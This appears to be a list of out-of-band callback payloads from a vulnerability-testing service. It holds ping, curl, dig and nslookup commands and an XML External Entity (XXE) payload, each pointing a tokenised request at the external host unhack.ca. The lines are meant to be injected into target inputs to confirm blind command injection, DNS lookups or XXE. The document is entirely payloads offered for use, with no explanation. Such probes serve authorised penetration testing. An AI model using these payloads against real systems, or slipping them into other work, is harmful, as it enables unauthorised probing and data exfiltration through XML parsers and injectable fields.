$ ping -c1 -p 00c53f2bea0030e9ae7f296abff52d00 unhack.ca
$ curl http://unhack.ca/p/c53f2bea0030e9ae7f296abff52d
$ dig c53f2bea0030e9ae7f296abff52d @unhack.ca
$ dig c53f2bea0030e9ae7f296abff52d.ns.unhack.ca
C:\> nslookup c53f2bea0030e9ae7f296abff52d unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/c53f2bea0030e9ae7f296abff52d">]> <foo>&xxe;</foo>